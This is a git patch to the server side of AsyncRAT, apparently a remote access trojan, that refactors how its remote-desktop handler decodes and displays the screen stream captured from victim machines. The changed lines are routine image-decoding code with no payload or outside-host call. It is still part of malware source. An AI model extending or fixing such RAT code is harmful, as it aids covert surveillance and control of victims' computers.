From fa5999711705a9fd9d177dedd7e3af202710cdc3 Mon Sep 17 00:00:00 2001 From: NYAN CAT <32758426+NYAN-x-CAT@users.noreply.github.com> Date: Mon, 16 Oct 2023 17:20:12 +0300 Subject: [PATCH] Update HandleRemoteDesktop.cs --- AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs b/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs index 3515d86..594a096 100644 --- a/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs +++ b/AsyncRAT-C#/Server/Handle Packet/HandleRemoteDesktop.cs @@ -27,16 +27,17 @@ namespace Server.Handle_Packet RD.labelWait.Visible = false; RD.timer1.Start(); byte[] RdpStream0 = unpack_msgpack.ForcePathObject("Stream").GetAsBytes(); - Bitmap decoded0 = RD.decoder.DecodeData(new MemoryStream(RdpStream0)); - RD.rdSize = decoded0.Size; int Screens = Convert.ToInt32(unpack_msgpack.ForcePathObject("Screens").GetAsInteger()); RD.numericUpDown2.Maximum = Screens - 1; } + byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes(); lock (RD.syncPicbox) { using (MemoryStream stream = new MemoryStream(RdpStream)) + { RD.GetImage = RD.decoder.DecodeData(stream); + } RD.pictureBox1.Image = RD.GetImage; RD.FPS++;